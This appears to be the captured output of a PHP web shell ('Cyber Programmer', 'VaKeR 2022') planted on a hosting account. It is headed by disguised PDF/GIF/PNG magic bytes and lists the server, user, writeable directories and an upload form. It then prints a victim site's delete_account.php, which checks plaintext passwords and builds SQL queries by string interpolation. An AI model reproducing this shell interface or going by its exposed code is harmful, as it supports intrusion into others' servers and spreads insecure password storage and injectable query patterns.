%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/delete_account.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

function response($status,$message,$data=[])
{
    echo json_encode([
        "status"=>$status,
        "message"=>$message,
        "data"=>$data
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$password = trim(
    $_REQUEST['password']
    ?? $json['password']
    ?? ''
);

if(empty($password))
{
    response(false,"Password Required",[

        "required_fields" => [
            "password"
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Verify Password
|--------------------------------------------------------------------------
*/

$userQry = mysqli_query(
    $conn,
    "SELECT *
     FROM user
     WHERE id='$user_id'
     LIMIT 1"
);

if(mysqli_num_rows($userQry) == 0)
{
    response(false,"User Not Found");
}

$user = mysqli_fetch_assoc($userQry);

if($user['password'] != $password)
{
    response(false,"Invalid Password");
}

/*
|--------------------------------------------------------------------------
| Delete User Related Data
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "DELETE FROM cart_items
     WHERE user_id='$user_id'"
);

mysqli_query(
    $conn,
    "DELETE FROM user_address
     WHERE user_id='$user_id'"
);

$orderQry = mysqli_query(
    $conn,
    "SELECT id
     FROM orders
     WHERE user_id='$user_id'"
);

while($order = mysqli_fetch_assoc($orderQry))
{
    mysqli_query(
        $conn,
        "DELETE FROM order_items
         WHERE order_id='".$order['id']."'"
    );
}

mysqli_query(
    $conn,
    "DELETE FROM orders
     WHERE user_id='$user_id'"
);

if(mysqli_query($conn,"SHOW TABLES LIKE 'wishlist_items'"))
{
    mysqli_query(
        $conn,
        "DELETE FROM wishlist_items
         WHERE user_id='$user_id'"
    );
}

if(mysqli_query($conn,"SHOW TABLES LIKE 'notify_me'"))
{
    mysqli_query(
        $conn,
        "DELETE FROM notify_me
         WHERE user_id='$user_id'"
    );
}

mysqli_query(
    $conn,
    "DELETE FROM user
     WHERE id='$user_id'"
);

response(true,"Account Deleted Permanently");

$conn->close();

?>

VaKeR 2022